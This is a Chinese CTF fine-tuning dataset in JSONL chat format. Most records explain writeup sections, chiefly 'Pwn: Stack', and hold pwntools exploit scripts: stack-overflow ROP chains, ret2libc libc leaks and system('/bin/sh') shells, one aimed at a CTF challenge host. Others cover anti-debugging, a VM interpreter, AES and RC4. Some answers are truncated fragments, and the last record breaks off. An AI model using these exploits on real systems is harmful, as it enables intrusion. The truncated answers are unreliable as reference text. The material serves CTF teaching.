{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-bdb3cc8f6d8644d20e96", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“[HarekazeCTF2019]babyrop”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“[HarekazeCTF2019]babyrop”。\n语言/类型：python\n关联知识点：\n- 利用printf函数泄露libc地址，然后进行ret2libc\n- 将`printf`函数的第一个地址设置为程序中已有的格式化字符串。\n代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\nfrom LibcSearcher import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\nlibc=ELF(\"./libc.so.6\")\n\nrdi=0x0000000000400733\nret=0x00000000004004d1\nrsi_r15=0x0000000000400731\narg1=0x400790\n\npayload=b'a'*40+p64(rdi)+p64(arg1)+p64(rsi_r15)+p64(elf.got.read)+p64(0)+p64(elf.plt.printf)+p64(0x400636)\nr()\nsl(payload)\n\naddr=u64(ru(b\"\\x7f\")[-6:].ljust(8,b\"\\x00\"))\nbase=addr-libc.sym.read\nprint(\"base\",hex(base))\nsys=base+libc.sym.system\nsh=base+libc.search(\"/bin/sh\\x00\").__next__()\nprint(\"system\",hex(sys))\nprint(\"sh\",hex(sh))\npayload=b'a'*40+p64(rdi)+p64(sh)+p64(ret)+p64(sys)\nsl(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::test::distilled_training_data::test::c7821a5429f46db8", "original_line": 17, "original_split": "test", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "[HarekazeCTF2019]babyrop", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "c7821a5429f46db8", "source_split": "test", "split": "train", "split_group_key": "acb0e7a93d2f721deab65155", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-bf10d69035e016c7948c", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“jarvisojtellmesomething”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“jarvisojtellmesomething”。\n语言/类型：shell\n关联知识点：\n- 只有`NX`保护。\n- 程序调用read可以向栈上输入`0x100`字节大小的数据，判断存在栈溢出。\n- 函数表中发现函数`good_game`，函数打开了`flag.txt`文件并将其读入到了局部变量中，并且将内容一个字节一个字节的输出到标准输出。\n- 我们通过栈溢出让程序返回到`good_game`函数即可输出`flag`。\n代码片段：\n```shell\n➜  11-01 checksec ./guestbook\n    Arch:     amd64-64-little\n    RELRO:    No RELRO\n    Stack:    No canary found\n    NX:       NX enabled\n    PIE:      No PIE (0x400000)\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::3a00713a22c55ec6", "original_line": 949, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "jarvisojtellmesomething", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "3a00713a22c55ec6", "source_split": "train", "split": "train", "split_group_key": "29c58b7ca7ff53f708ceacb1", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-bf27b781acfd50f5446a", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“[FSCTF 2023]rdi”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“[FSCTF 2023]rdi”。\n语言/类型：python\n关联知识点：\n- 通过sh字符串代替/bin/sh字符串。\n代码片段：\n```python\n#!/usr/bin/python3\nfrom pwncli import *\n\ncli_script()\nio=gift[\"io\"]\nelf=gift[\"elf\"]\noff=0x88\nsys=0x4006fb\nrdi=0x00000000004007d3\nret=0x0000000000400546\nsh=0x40080d\n\npayload=b'a'*off+p64(rdi)+p64(sh)+p64(sys)\nsla(\"answer:\\n\",payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::e06250bcbbf990d6", "original_line": 106, "original_split": "validation", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "[FSCTF 2023]rdi", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "e06250bcbbf990d6", "source_split": "validation", "split": "train", "split_group_key": "733aed6bc4ffde38e236a3a5", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-bf7dbf7811acbefd93b1", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“[SDCTF 2022]Horoscope”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / [SDCTF 2022]Horoscope\n关键词：SDCTF、gift、elf、debug、shell、payload、p64、Horoscope、ret2text、usr\n蒸馏要点：\n- 需要让程序不执行退出指令，所以程序必须选择case选项。\n- 在payload前拼接上数字，让他进行选择\n可用于训练的标准回答：\n### [SDCTF 2022]Horoscope\n\n#ret2text\n\n需要让程序不执行退出指令，所以程序必须选择case选项。\n\n在payload前拼接上数字，让他进行选择\n\n```python\n#!/usr/bin/python3\nfrom pwncli import *\n\ncli_script()\nio=gift[\"io\"]\nelf=gift[\"elf\"]\n\ndebug=0x40096e\nshell=0x400950\n\npayload=b'12'+b'a'*(0x30-2+8)+p64(debug)+p64(shell)\n\ns(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::0a4c7ae13d7ecde4", "original_line": 90, "original_split": "validation", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "[SDCTF 2022]Horoscope", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "0a4c7ae13d7ecde4", "source_split": "validation", "split": "train", "split_group_key": "671ee24200ee85cdf7fcef77", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-c09f801c6b92baad9bee", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“\\[BJDCTF 2020\\]babystack2.0”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“\\[BJDCTF 2020\\]babystack2.0”。\n语言/类型：python\n关联知识点：\n- 不要过于相信反汇编的类型，要进入汇编看一下\n- 有符号数转无符号数\n代码片段：\n```python\nfrom pwn import *\n sh=remote(\"node4.anna.nssctf.cn\",28063)\n payload=b'a'*(16+8)+p64(0x400726)\n sh.recvuntil(\"name:\")\n sh.sendline(b'-1')\n sh.sendlineafter(\"name?\",payload)\n sh.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::63c900c8ab43b32c", "original_line": 967, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "\\[BJDCTF 2020\\]babystack2.0", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "63c900c8ab43b32c", "source_split": "train", "split": "train", "split_group_key": "ee924fd466700d1d61fdc1da", "tags": ["pwn", "reverse", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-c10319fa47791f1173af", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《RSA与大数运算》的“OpenSSL”部分，提炼一条适合 SFT 的中文技术讲解样本（第 1 段）。", "role": "user"}, {"content": "出处：RSA与大数运算 / OpenSSL（第 1 段）\n关键词：SSL_CTX、SSL、SHA、SSL_library_init()、SSL_load_error_strings()、SSL_set_fd(SSL *ssl, int fd)、fd、SSL_CTX_set_default_verify_paths(SSL_CTX *ctx)、ERR_print_errors_fp(FILE *fp)、EVP_sha256()\n蒸馏要点：\n- | **函数**                                                                                                                             | **说明**                ...\n- | `SSL_library_init()`                                                                                                               | 初始化 OpenSSL 库。\n- | `SSL_load_error_strings()`                                                                                                         | 加载 OpenSSL 错误信息。\n- | `SSL_set_fd(SSL *ssl, int fd)`                                                                                                     | 将 SSL 对象与文件描述符 `fd` 绑定。\n- | `SSL_CTX_set_verify(SSL_CTX *ctx, int mode, SSL_VERIFY_CB verify_callback)`                                                        | 设置 SSL_CTX 的验证回调函数。\n- | `SSL_CTX_set_default_verify_paths(SSL_CTX *ctx)`                                                                                   | 设置默认的证书验证路径。\n- | `SSL_CTX_set_verify_depth(SSL_CTX *ctx, int depth)`                                                                                | 设置 SSL_CTX 的验证深度。\n可用于训练的标准回答：\n| **函数**                                                                                                                             | **说明**                   |\n| ---------------------------------------------------------------------------------------------------------------------------------- | ------------------------ |\n| `SSL_library_init()`                                                                                                               | 初始化 OpenSSL 库。           |\n| `SSL_load_error_strings()`                                                                                                         | 加载 OpenSSL 错误信息。         |\n| `SSL_set_fd(SSL *ssl, int fd)`                                                                                                     | 将 SSL 对象与文件描述符 `fd` 绑定。  |\n| `SSL_CTX_set_verify(SSL_CTX *ctx, int mode, SSL_VERIFY_CB verify_callback)`...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::c12da5fac8952323", "original_line": 687, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "OpenSSL", "source": "RSA与大数运算.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "c12da5fac8952323", "source_split": "train", "split": "train", "split_group_key": "318052e1a226f5edbe7c767d", "tags": ["reverse", "crypto", "ctf-method"], "title": "RSA与大数运算", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-c19b01a92f9f4e30f008", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《VM 指令虚拟化》的“解释器编写”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：VM 指令虚拟化 / 解释器编写\n关键词：eip、operand_1、code、case、operand_2、break、mem、opcode、handle、dispatcher\n蒸馏要点：\n- 现在就可以实现每条指令的 handle 以及 dispatcher 了：\n可用于训练的标准回答：\n### 解释器编写\n\n现在就可以实现每条指令的 handle 以及 dispatcher 了：\n\n```c\nint vm_run(VM* vm){\n\tchar opcode;\n\tchar operand_1,operand_2;\n\n\twhile(1){\n\t\topcode=vm->code[vm->eip];\n\t\tswitch(opcode){\n\t\tcase 0x10:\n\t\t\toperand_1=vm->code[vm->eip+1];\n\t\t\tvm->r1=operand_1;\n\t\t\tvm->eip+=2;\n\t\t\tbreak;\n\t\tcase 0x11:\n\t\t\toperand_1=vm->code[vm->eip+1];\n\t\t\tvm->r2=operand_1;\n\t\t\tvm->eip+=2;\n\t\t\tbreak;\n\t\tcase 0x20:\n\t\t\toperand_1=vm->code[vm->eip+1];\n\t\t\toperand_2=vm->code[vm->eip+2];\n\t\t\tvm->mem[operand_1]=operand_2;\n\t\t\tvm->eip+=3;\n\t\t\tbreak;\n\t\tcase 0x30:\n\t\t\tvm->mem[vm->r1]^=vm-r2;\n\t\t\tvm->eip+=1;\n\t\t\tbreak;\n\t\tcase 0x40:\n\t\t\tscanf(\"5%s\",&vm->mem[0]);\n\t\t\tvm->eip+=1;\n\t\t\tbreak;\n\t\tcase 0x50:\n\t\t\toperand_1=vm->code[vm->eip+1];\n\t\t\toperand_2=vm->code[vm->eip+2];\n\t\t\treturn memcmp(&vm->mem[0],&vm->mem[operand_1],operand_2);\n\t\t}\n\t}\n}\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::0649d5035ede870c", "original_line": 815, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "解释器编写", "source": "VM 指令虚拟化.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "0649d5035ede870c", "source_split": "train", "split": "train", "split_group_key": "4edbf1bf426b678a44b3b883", "tags": ["reverse"], "title": "VM 指令虚拟化", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-c1dc201d6536e79852fa", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《反调试》的“CheckRemoteDebuggerPresent”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：反调试 / CheckRemoteDebuggerPresent\n关键词：CheckRemoteDebuggerPresent、BOOL、hProcess、pbDebuggerPresent、IsDebuggerPresent、True、False、- 实现、ret、HANDLE\n蒸馏要点：\n- `CheckRemoteDebuggerPresent`函数跟`IsDebuggerPresent`差不多。不同的是它不仅可以探测系统其他进程是否被调试，通过传递自身进程句柄还可以探测自身是否被调试。\n- 如果`hProcess`句柄表示的进程处于调试上下文，则`pbDebuggerPresent`被置为`True`，否则被置为`False`。\n可用于训练的标准回答：\n#### CheckRemoteDebuggerPresent\n\n`CheckRemoteDebuggerPresent`函数跟`IsDebuggerPresent`差不多。不同的是它不仅可以探测系统其他进程是否被调试，通过传递自身进程句柄还可以探测自身是否被调试。\n\n- 函数原型\n\n如果`hProcess`句柄表示的进程处于调试上下文，则`pbDebuggerPresent`被置为`True`，否则被置为`False`。\n\n```c\nBOOL CheckRemoteDebuggerPresent{\n    HANDLE hProcess,\n    PBOOL pbDebuggerPresent\n};\n```\n\n- 实现\n\n```c\n#include\n#include\n\nBOOL CheckDebugger()\n{\n\tBOOL ret;\n\tCheckRemoteDebuggerPresent(GetCurrentProcess(),&ret);\n\treturn ret;\n}\n\nint main(){\n\n\tif(CheckDebugger()){\n\t\tprintf(\"debugger\\n\");\n\t}\n\telse{\n\t\tprintf(\"no debugger\\n\");\n\t}\n\n\tsystem(\"pause\");\n\treturn 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::4fa8ef446420ad68", "original_line": 664, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "CheckRemoteDebuggerPresent", "source": "反调试.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "4fa8ef446420ad68", "source_split": "train", "split": "train", "split_group_key": "3c1fa40d07314d505f3924cf", "tags": ["reverse"], "title": "反调试", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-c285454a73154b0ca095", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“简介”？请用《VM 指令虚拟化》中的内容回答。", "role": "user"}, {"content": "1. 虚拟机（VM）其实就是用软件来模拟硬件。我们可以参照 x86 等真实指令集，自己定义一套全新的指令系统（opcode），并在解释器程序中实现相应的结构与逻辑来解析、调度和执行指令。\n2. 在安全领域中，“虚拟机” 常用于虚拟化保护。它将原本由 CPU 直接执行的机器码转化为自定义的字节码指令，然后再由程序内部实现的一套“虚拟 CPU”来解释执行。由于字节码并不遵循传统体系结构，理解成本高、调试困难，从而达到防止逆向与篡改的目的。\n3. 简单来说就是出题人通过实现一个小型虚拟机：\n4. 自定义一些操作码（opcode）；\n5. 用解释器逐条读取并执行这些 opcode；\n6. 每条 opcode 对应一个函数或模拟指令的逻辑（伪指令）；", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::a247f5db04c894d8", "original_line": 981, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "简介", "source": "VM 指令虚拟化.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "a247f5db04c894d8", "source_split": "train", "split": "train", "split_group_key": "84d70d356fa804ca0b4e0789", "tags": ["reverse"], "title": "VM 指令虚拟化", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-c2b1045fe6c71d950453", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“脚本”？请用《AES》中的内容回答。", "role": "user"}, {"content": "1. def ShiftRows(self, S):\n2. return [S[0], S[5], S[10], S[15],\n3. S[4], S[9], S[14], S[3],\n4. S[8], S[13], S[2], S[7],\n5. S[12], S[1], S[6], S[11]]\n6. def ShiftRows_Inv(self, S):", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 2, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["crypto", "ctf-method", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::db06fc6285376e8e", "original_line": 69, "original_split": "validation", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "脚本", "source": "AES.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "db06fc6285376e8e", "source_split": "validation", "split": "train", "split_group_key": "6a013a968c85d2765cb0115a", "tags": ["crypto", "ctf-method"], "title": "AES", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-c2bc348cc5e4fa0568e7", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“ezstack2”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“ezstack2”。\n语言/类型：python\n代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\nfrom LibcSearcher import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\nru(\"good stack\\n\")\nrdi_addr = 0x0000000000400823\nvuln = 0x400757\nret  = 0x000000000040056e\npayload=b\"a\"*(0x30+8)+p64(ret)+p64(rdi_addr)+p64(0x114514)+p64(vuln)\nsl(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::c9f5114ba754b221", "original_line": 1002, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "ezstack2", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "c9f5114ba754b221", "source_split": "train", "split": "train", "split_group_key": "68cb161c31e349fb3f7475d8", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-c329e668e7b1023d4173", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“[NISACTF 2022\\]shoppwn”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“[NISACTF 2022\\]shoppwn”。\n语言/类型：python\n关联知识点：\n- 程序因为打开了一个新线程，但是我修改一个线程的东西可以影响另外一个线程。game函数里面的`while`是一直在跑的。\n代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\nsl(b'3')\nsl(b'0')\n\nsl(b'3')\nsl(b'0')\n\nsla(b'> ', b'2')\nsla(b'> ', b'1')\nr()\n\nsla(b'> ', b'1')\nr()\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::eb43e50b55161c57", "original_line": 849, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "[NISACTF 2022\\]shoppwn", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "eb43e50b55161c57", "source_split": "train", "split": "train", "split_group_key": "61537fecb2fe4d5fbc8c4178", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-c4fe4f667613eeffa8b7", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《RC4 算法》中“标准RC4”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《RC4 算法》的“标准RC4”。\n语言/类型：python\n关联知识点：\n- 2024Moectf RC4\n- 题目存在花指令，我们先进行去除。去除后我们分析代码。\n- 根据题目中的`RC4`字样我们就可以判断程序为 RC4 算法。\n- ida 反编译程序直接看到了一串包含`RC4`字样疑似密钥的字符，可以猜测这段字符就是密钥。\n- 然后我们找密文尝试解密，上面的三个字符串都是一样的，我们可以尝试一下它们是不是密文。\n代码片段：\n```python\nfrom Crypto.Cipher import ARC4\n\nkey = b\"RC4_1s_4w3s0m3\"\n\nenc = bytes.fromhex(\"A7 1A 68 EC D8 27 11 CC 8C 9B 16 15 5C D2 67 3E 82 AD CE 75 D4 BC 57 56 C2 8A 52 B8 6B D6 CC F8 A4 BA 72 2F E0 57 15 B9 24 11\")\n\nrc4 = ARC4.new(key)\ndec = rc4.decrypt(enc)\n\nprint(dec)\n#moectf{why_Rc4_haS_The_Rev32sabl3_pr0ceSS}\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::d1800e05e59801ec", "original_line": 978, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "标准RC4", "source": "例题/RC4/RC4 算法.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "d1800e05e59801ec", "source_split": "train", "split": "train", "split_group_key": "ad341affea18c882c6d5f9b8", "tags": ["reverse", "crypto", "ctf-method"], "title": "RC4 算法", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-c6ec08c7e8a2b46802d0", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“[LitCTF 2023]狠狠的溢出涅~”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“[LitCTF 2023]狠狠的溢出涅~”。\n语言/类型：python\n代码片段：\n```python\n#!/usr/bin/python3\nfrom pwncli import *\nimport time\ncli_script()\nio=gift[\"io\"]\nelf=gift[\"elf\"]\nlibc=ELF(\"./libc-2.31.so\")\n\noff=104\nrdi=0x00000000004007d3\nret=0x0000000000400556\n\npayload=b'\\x00'+b'a'*(off-1)+p64(rdi)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(elf.sym.main)\nsla(\"Leave your message:\\n\",payload)\nputs_addr=u64(ru(b\"\\x7f\")[-6:].ljust(8,b'\\x00'))\nsuccess(hex(puts_addr))\n\nbase=puts_addr-libc.sym.puts\nsys=base+libc.sym.system\n#sh=base+libc.search(b\"/bin/sh\\x00\")\nsh=base+0x00000000001b45bd\ntime.sleep(3)\npayload=b'\\x00'+b'a'*(off-1)+p64(rdi)+p64(sh)+p64(ret)+p64(sys)\ns(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::a1459efb79ed3011", "original_line": 781, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "[LitCTF 2023]狠狠的溢出涅~", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", 